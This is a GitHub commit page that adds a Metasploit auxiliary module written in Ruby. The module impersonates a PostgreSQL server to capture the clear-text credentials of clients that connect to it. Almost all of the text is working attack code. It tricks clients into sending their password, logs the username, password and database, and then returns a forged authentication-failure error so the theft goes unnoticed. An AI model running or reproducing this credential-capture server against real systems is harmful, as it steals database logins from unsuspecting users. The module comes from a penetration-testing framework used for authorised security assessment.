Skip to content

Commit 6de50b7

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents fbc3709 + 51e70c4 commit 6de50b7

File tree

1 file changed

+114
-0
lines changed

1 file changed

+114
-0
lines changed
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::TcpServer
13+
include Msf::Auxiliary::Report
14+
15+
def initialize
16+
super(
17+
'Name' => 'Authentication Capture: PostgreSQL',
18+
'Description' => %q{
19+
This module provides a fake PostgreSQL service that is designed to
20+
capture clear-text authentication credentials.},
21+
'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
22+
'License' => MSF_LICENSE,
23+
'Actions' => [ [ 'Capture' ] ],
24+
'PassiveActions' => [ 'Capture' ],
25+
'DefaultAction' => 'Capture'
26+
)
27+
28+
register_options(
29+
[
30+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
31+
], self.class)
32+
end
33+
34+
# This module is based on MySQL capture module by Patrik Karlsson.
35+
# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
36+
37+
def setup
38+
super
39+
@state = {}
40+
end
41+
42+
def run
43+
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
44+
exploit()
45+
end
46+
47+
def on_client_connect(c)
48+
@state[c] = {
49+
:name => "#{c.peerhost}:#{c.peerport}",
50+
:ip => c.peerhost,
51+
:port => c.peerport,
52+
}
53+
@state[c]["status"] = :init
54+
end
55+
56+
def on_client_data(c)
57+
data = c.get_once
58+
return if not data
59+
length = data.slice(0, 4).unpack("N")[0]
60+
if length == 8 and @state[c]["status"] == :init
61+
# SSL request
62+
c.put 'N'
63+
@state[c]["status"] = :send_auth_type
64+
elsif @state[c]["status"] == :send_auth_type
65+
# Startup message
66+
data.slice!(0, 4).unpack("N")[0] # skip over length
67+
data.slice!(0, 4).unpack("N")[0] # skip over protocol
68+
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*")
69+
c.put sdata
70+
data.slice!(0, 5) # skip over "user\x00"
71+
@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
72+
data.slice!(0, 9) # skip over "database\x00"
73+
@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
74+
@state[c]["status"] = :pwn
75+
elsif @state[c]["status"] == :pwn and data[0] == 'p'
76+
# Password message
77+
data.slice!(0, 5).unpack("N")[0] # skip over length
78+
@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
79+
report_auth_info(
80+
:host => c.peerhost,
81+
:port => datastore['SRVPORT'],
82+
:sname => 'psql_client',
83+
:user => @state[c][:username],
84+
:pass => @state[c][:password],
85+
:type => "PostgreSQL credentials",
86+
:proof => @state[c][:database],
87+
:source_type => "captured",
88+
:active => true
89+
)
90+
print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
91+
# send failure message
92+
sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
93+
sdata << "SFATAL"
94+
sdata << "\x00"
95+
sdata << "C28P01"
96+
sdata << "\x00"
97+
sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\""
98+
sdata << "\x00"
99+
sdata << "Fauth.c"
100+
sdata << "\x00"
101+
sdata << "L302"
102+
sdata << "\x00"
103+
sdata << "Rauth_failed"
104+
sdata << "\x00\x00"
105+
c.put sdata
106+
c.close
107+
end
108+
109+
end
110+
111+
def on_client_close(c)
112+
@state.delete(c)
113+
end
114+
end

0 commit comments

Comments
 (0)